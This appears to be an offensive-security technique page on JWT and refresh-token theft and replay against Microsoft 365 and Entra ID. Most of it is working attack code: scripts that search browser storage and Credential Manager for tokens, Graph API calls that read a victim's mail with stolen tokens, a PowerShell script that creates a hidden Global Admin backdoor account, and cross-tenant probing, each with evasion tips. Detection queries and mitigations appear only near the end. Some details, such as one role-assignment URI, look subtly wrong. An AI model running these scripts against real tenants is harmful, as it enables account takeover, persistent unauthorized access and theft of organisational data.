MCADDF

[SAAS-API-005]: JSON Web Token (JWT) Manipulation

Metadata

Attribute Details
Technique ID SAAS-API-005
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement
Platforms M365/Entra ID
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All versions (M365, Entra ID, Azure)
Patched In No patch available; mitigation through token binding required
Author SERVTEPArtur Pchelnikau

1. Executive Summary

JWT (JSON Web Token) manipulation attacks involve intercepting, forging, or modifying JSON Web Tokens to bypass authentication and authorization controls in SaaS and cloud environments. JWTs are cryptographic tokens that serve as proof of authentication and contain claims about the user’s identity and permissions. Attackers who gain access to a valid JWT (through credential theft, phishing, or token interception) can use it to impersonate users, escalate privileges, or move laterally across cloud services without needing the original credentials or MFA factors.

Attack Surface: JWT tokens issued by Entra ID (Microsoft identity platform), OAuth 2.0 authorization servers, and SAML token endpoints are the primary attack surface. Tokens can be stolen from browser memory, intercepted during transit, or obtained through device compromise.

Business Impact: Complete account takeover and cross-tenant compromise possible. An attacker with a valid JWT can access email, SharePoint, OneDrive, Teams, and other M365 services. If the token is scoped with administrative permissions, the attacker can create backdoors, reset passwords, modify policies, or exfiltrate sensitive data at scale.

Technical Context: JWT attacks typically take seconds to minutes to execute after token acquisition. Detection is moderate to low depending on logging configuration. The most common indicators include unusual token usage patterns (different geographic regions, impossible travel, unusual scopes), token replay, and cross-service API calls without user interaction.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.1 Ensure Multi-Factor Authentication (MFA) is enforced for all users with administrative access
DISA STIG AC-3 Enforce token binding and limit token lifetime to 1 hour or less
CISA SCuBA App Security - Token Binding Require token binding and implement token validation
NIST 800-53 AC-3, AT-2, SC-7 Access Enforcement; User Security Awareness Training; Boundary Protection
GDPR Art. 32 Security of Processing - implement cryptographic binding and monitoring
DORA Art. 9 Protection and Prevention - APIs must validate token signatures and scope
NIS2 Art. 21 Cyber Risk Management - cryptographic binding of tokens to devices
ISO 27001 A.9.2.3, A.13.1.1 Management of Privileged Access Rights; Authentication Controls
ISO 27005 Risk Scenario Compromise of authentication tokens or credentials

2. Technical Prerequisites

Supported Versions:

Tools:


3. Environmental Reconnaissance

Step 1: Identify JWT Token Storage and Transmission

Objective: Determine where JWT tokens are stored in the target environment and how they are transmitted.

Method 1: Browser Developer Tools

Open your browser’s Developer Tools (F12):

  1. Navigate to Network tab
  2. Perform a login action to an M365 service (portal.azure.com, outlook.office.com, etc.)
  3. Look for requests with Authorization: Bearer header
  4. Each token request will contain a JWT token in the format: eyJhbGciOiJSUzI1NiIsImtpZCI6...

What to Look For:

Expected Output:

Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjFjZDRjMzQ3YzFlNDAxNjAwYTljMjJlOTYwZWY2ZjFjMzI1OTdjZTEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy5taWNyb3NvZnQuY29tL3sVlU2FzcC9mZDA2YmQ0Ny1hZmE2LTQwNDgtOTM2MS1hNjE1ZDMwMGQwMzEvIiwiaWF0IjoxNjM0NzU2MjAwLCJuYmYiOjE2MzQ3NTYyMDAsImV4cCI6MTYzNDc1OTgwMH0...

Step 2: Extract and Decode JWT Token

Objective: Extract the JWT token and decode its payload to understand its structure and claims.

Method 1: Using jwt.io

  1. Go to https://jwt.io
  2. Paste the extracted JWT token in the “Encoded” section
  3. The “Decoded” section will show:
    • Header: Token type (JWT) and signing algorithm (RS256, etc.)
    • Payload: User claims (user_id, email, roles, scopes, etc.)
    • Signature: Cryptographic verification (base64-encoded)

Expected Payload Structure:

{
  "aud": "https://graph.microsoft.com",
  "iss": "https://sts.microsoft.com/{tenant-id}/",
  "iat": 1634756200,
  "nbf": 1634756200,
  "exp": 1634759800,
  "aio": "AVQBq/8TAAAARVBqbVrU2JgB2H1L8W1x2H...",
  "appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
  "appidacr": "0",
  "idp": "https://sts.microsoft.com/{tenant-id}/",
  "oid": "1234567890-abcdef",
  "rh": "0.AVcA4-1-_xxxxxxxxx",
  "scp": "User.Read Calendars.Read Mail.Read Mail.Send",
  "sub": "1234567890-abcdef",
  "tid": "tenant-id-here",
  "unique_name": "user@contoso.onmicrosoft.com",
  "uti": "abcdefghijklmnop",
  "ver": "1.0"
}

Key Claims to Understand:

Step 3: Identify Token Refresh Endpoints

Objective: Find the token refresh endpoint to understand how new tokens are issued.

Command (PowerShell):

# Check if refresh token is available in browser cache
Get-Item -Path "HKCU:\Software\Microsoft\AuthenticationsCredentials\*" -ErrorAction SilentlyContinue | Get-ItemProperty

# Alternatively, check Local Storage for Entra ID tokens (requires browser automation or manual inspection)

Expected Output:


4. Detailed Execution Methods

METHOD 1: JWT Token Theft via Browser Interception

Supported Versions: All M365 and Entra ID versions

Step 1: Intercept Token in Transit

Objective: Capture a valid JWT token from a user’s browser session.

Prerequisites:

Method A: Using Burp Suite

  1. Install Burp Suite Community Edition on a machine with network visibility
  2. Configure your browser proxy to route through Burp Suite (Proxy Settings → 127.0.0.1:8080)
  3. Navigate to portal.azure.com or any M365 service
  4. Perform authentication
  5. In Burp Suite, go to Proxy → HTTP History
  6. Filter for requests to login.microsoftonline.com or graph.microsoft.com
  7. Look for the Authorization: Bearer header
  8. Copy the entire JWT token (eyJ… portion only, exclude “Bearer “ prefix)

Example Captured Request:

POST /oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

grant_type=refresh_token&refresh_token=0.AvAAO-Z...&client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46&scope=https://graph.microsoft.com/.default

OpSec & Evasion:

Detection Likelihood: Low (network-level interception) to High (if endpoint monitoring is enabled)

Troubleshooting:

Step 2: Use Stolen Token to Access M365 APIs

Objective: Use the stolen JWT token to authenticate API requests and access M365 resources.

Version Note: Same approach works for all M365 and Entra ID versions

Method A: Using curl with Microsoft Graph API

#!/bin/bash

# Variables
JWT_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjFjZDRjMzQ3YzFlNDAxNjAwYTljMjJlOTYwZWY2ZjFjMzI1OTdjZTEiLCJ0eXAiOiJKV1QifQ..."
GRAPH_ENDPOINT="https://graph.microsoft.com/v1.0"

# Make API request to list user's email
curl -X GET "$GRAPH_ENDPOINT/me/messages" \
  -H "Authorization: Bearer $JWT_TOKEN" \
  -H "Content-Type: application/json" \
  -v

Expected Output (Success):

{
  "value": [
    {
      "id": "AAMkADU2MGZjNDU3LTg2ZmYtNDAxYy04ZTEwLWUyY2U5Yzc4ZmI3MQBGAAAAAAChM4...",
      "subject": "Meeting Tomorrow at 2PM",
      "from": {
        "emailAddress": {
          "address": "boss@contoso.com",
          "name": "Your Manager"
        }
      },
      "bodyPreview": "Hi, just confirming our meeting tomorrow..."
    }
  ]
}

What This Means:

Method B: Using PowerShell TokenTactics

# Install TokenTactics (if not already installed)
# git clone https://github.com/rvrsh3ll/TokenTactics.git
# cd TokenTactics

# Import the module
Import-Module .\TokenTactics.psd1

# Use stolen refresh token to get new access tokens
Invoke-RefreshToGraphToken -domain victim-org.com -refreshToken $RefreshToken

# Or use stolen access token directly
$AccessToken = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjFjZDRjMzQ3YzFlNDAxNjAwYTljMjJlOTYwZWY2ZjFjMzI1OTdjZTEiLCJ0eXAiOiJKV1QifQ..."

# Make Graph API call
$Headers = @{"Authorization" = "Bearer $AccessToken"}
$Uri = "https://graph.microsoft.com/v1.0/me/messages"
$Response = Invoke-RestMethod -Uri $Uri -Headers $Headers -Method Get
$Response.value | Select-Object subject, from

Expected Output:

subject                               from
-------                               ----
Meeting Tomorrow at 2PM               @{emailAddress=@{address=boss@contoso.com; name=Your Manager}}
Project Status Update                 @{emailAddress=@{address=colleague@contoso.com; name=Colleague Name}}

OpSec & Evasion:

Detection Likelihood: Medium (if Graph API logging is enabled and monitored)

Step 3: Escalate to Administrative Access

Objective: Use token to create a backdoor account or escalate privileges.

Version Note: This requires the token to have Directory.Admin permissions (typically Global Admin)

Command (PowerShell):

# Create a new user account with Global Admin role (requires Directory.Admin scope)
$Headers = @{"Authorization" = "Bearer $AccessToken"}

# Step 1: Create new user
$UserBody = @{
    "accountEnabled" = $true
    "displayName" = "IT Support - Backup"
    "mailNickname" = "itsupport.backup"
    "userPrincipalName" = "itsupport.backup@contoso.com"
    "passwordProfile" = @{
        "forceChangePasswordNextSignIn" = $false
        "password" = "X#K@$L9*v2pQ&wR4!"
    }
} | ConvertTo-Json

$CreateUserUri = "https://graph.microsoft.com/v1.0/users"
$NewUser = Invoke-RestMethod -Uri $CreateUserUri -Headers $Headers -Method Post -Body $UserBody -ContentType "application/json"
$NewUserId = $NewUser.id

# Step 2: Add to Global Admin role
$RoleBody = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$NewUserId"
} | ConvertTo-Json

$AddToRoleUri = "https://graph.microsoft.com/v1.0/directoryRoles/roleDefinitions/62e90394-69f5-4237-9190-012177145e10/members/`$ref"
Invoke-RestMethod -Uri $AddToRoleUri -Headers $Headers -Method Post -Body $RoleBody -ContentType "application/json"

Write-Host "Created Global Admin backdoor account: itsupport.backup@contoso.com"

Expected Output:

Created Global Admin backdoor account: itsupport.backup@contoso.com

What This Means:


METHOD 2: JWT Token Refresh Token Abuse

Supported Versions: All M365 and Entra ID versions

Step 1: Obtain Refresh Token

Objective: Extract or steal a refresh token from the victim’s environment.

Method A: From Browser Storage (Windows)

Refresh tokens are often stored in Windows Credential Manager or browser local storage.

Command (PowerShell):

# Check Windows Credential Manager for stored tokens
cmdkey /list

# Extract credential (if visible)
$cred = Get-StoredCredential -Target "MicrosoftAccount:user@contoso.com"
$cred.Password

Method B: From Browser Local Storage

# For Chromium-based browsers, check Local Storage
$LocalStoragePath = "$env:APPDATA\Microsoft\Edge\User Data\Default\Local Storage\leveldb"
Get-ChildItem -Path $LocalStoragePath -Filter "*.ldb" | ForEach-Object {
    Select-String -Pattern "refresh_token" -Path $_.FullName -Raw | Write-Host
}

Expected Output:

refresh_token:eyJhbGciOiJSUzI1NiIsImtpZCI6Imdzc0xxxxxxxxxxxxxxx...

Step 2: Exchange Refresh Token for New Access Token

Objective: Use the refresh token to obtain a new access token.

Command (PowerShell):

# Variables
$TenantId = "12345678-1234-1234-1234-123456789012"
$RefreshToken = "0.AvAAO-Z..."
$ClientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"  # Microsoft Graph default client ID

# Exchange refresh token for new access token
$TokenUri = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token"

$TokenBody = @{
    grant_type    = "refresh_token"
    refresh_token = $RefreshToken
    client_id     = $ClientId
    scope         = "https://graph.microsoft.com/.default"
}

$Response = Invoke-RestMethod -Uri $TokenUri -Method Post -Body $TokenBody
$NewAccessToken = $Response.access_token
$NewRefreshToken = $Response.refresh_token

Write-Host "New Access Token: $NewAccessToken"
Write-Host "New Refresh Token: $NewRefreshToken"

Expected Output:

New Access Token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjFjZDRjMzQ3YzFlNDAxNjAwYTljMjJlOTYwZWY2ZjFjMzI1OTdjZTEi...
New Refresh Token: 0.AvAAO-Z2.xxxxxxxxxxxxxxxxxx...

What This Means:

OpSec & Evasion:


METHOD 3: Cross-Tenant JWT Manipulation

Supported Versions: All M365 and Entra ID versions (affects cross-tenant scenarios)

Step 1: Extract Tenant-Agnostic Tokens

Objective: Identify and exploit tokens that can be used across multiple tenants.

Version Note: Some Microsoft services issue tokens that are not strictly tenant-bound, allowing cross-tenant access

Command (PowerShell):

# Decode JWT to identify tenant scope
function Decode-JWT {
    param($token)
    
    # Remove "Bearer " prefix if present
    $token = $token -replace "^Bearer ", ""
    
    # Split JWT into parts
    $parts = $token.Split('.')
    
    # Decode header
    $header = [System.Convert]::FromBase64String(($parts[0] + "==").Replace('-', '+').Replace('_', '/'))
    $headerJson = [System.Text.Encoding]::UTF8.GetString($header)
    
    # Decode payload
    $payload = [System.Convert]::FromBase64String(($parts[1] + "==").Replace('-', '+').Replace('_', '/'))
    $payloadJson = [System.Text.Encoding]::UTF8.GetString($payload)
    
    return @{
        header  = $headerJson | ConvertFrom-Json
        payload = $payloadJson | ConvertFrom-Json
    }
}

# Analyze token
$DecodedToken = Decode-JWT -token $AccessToken
$DecodedToken.payload | Select-Object tid, aud, scp

Expected Output:

tid aud                                    scp
--- ---                                    ---
    https://graph.microsoft.com            User.Read Calendars.Read

Analyzing Cross-Tenant Tokens:

Step 2: Attempt Cross-Tenant Access

Objective: Use the token to access resources in different tenant than the token’s origin.

Command (Bash with curl):

#!/bin/bash

# Extract token and attempt cross-tenant access
ACCESS_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjFj..."

# Attempt to list users (cross-tenant)
for TENANT_ID in "tenant1-id" "tenant2-id" "tenant3-id"; do
    echo "Attempting access to tenant: $TENANT_ID"
    
    curl -s -X GET "https://graph.microsoft.com/v1.0/tenantRelationships/managedTenants/tenants" \
        -H "Authorization: Bearer $ACCESS_TOKEN" \
        -H "X-Tenant-ID: $TENANT_ID" \
        -w "\nHTTP Status: %{http_code}\n"
done

Expected Output (If Vulnerable):

HTTP Status: 200
{
  "value": [
    {
      "id": "12345678-1234-1234-1234-123456789012",
      "displayName": "Target Tenant",
      ...
    }
  ]
}

OpSec & Evasion:


5. Detection & Incident Response

Indicators of Compromise (IOCs)

Token-Related IOCs:

API Activity IOCs:

Forensic Artifacts

Cloud Artifacts:

Example Forensic Query (KQL):

SigninLogs
| where AuthenticationDetails has "token"
| where ClientAppUsed == "Browser" and InteractiveSignInCount == 0
| where GeoLocation != "United States"  // Adjust to your organization
| project TimeGenerated, UserPrincipalName, ClientAppUsed, GeoLocation, CorrelationId

6. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Mitigation)

# Verify token binding is enabled
Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Token Protection Policy'" | Select-Object DisplayName, State

# Verify token lifetime is configured
Get-MgApplication -Filter "displayName eq 'YourAppName'" | Select-Object DisplayName, `
  @{Label="TokenLifetime"; Expression={ $_.TokenIssuancePolicy }}

# Verify MFA is required for users
Get-MgUser -Filter "userType eq 'Member'" | Select-Object UserPrincipalName, `
  @{Label="MFARequired"; Expression={ $_.StrongAuthenticationRequirements }}

Expected Output (If Secure):

DisplayName                 State
-----------                 -----
Token Protection Policy     enabledForReportingButNotEnforced

UserPrincipalName           MFARequired
-----------------           -----------
user@contoso.com            True
admin@contoso.com           True

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker tricks user into authorizing device code, obtaining refresh token
2 Credential Access [CA-TOKEN-005] OAuth Access Token Interception Token stolen from browser or network traffic
3 Lateral Movement [SAAS-API-005] JWT token used to access multiple M365 services
4 Privilege Escalation [PE-ACCTMGMT-014] Global Administrator Backdoor New admin account created using token access
5 Persistence [PERSIST-CLOUD-002] OAuth Application Persistence Malicious app registered with delegated permissions
6 Exfiltration [COLL-CLOUD-001] Cloud Data Exfiltration Emails, SharePoint files, Teams messages stolen via Graph API

8. Real-World Examples

Example 1: Volexity - OAuth Phishing Campaign (2023)

Example 2: APT29 - SAML Token Forging (2021-2022)

Example 3: Token Manipulation via Refresh Token Theft (2024)


9. References & Tools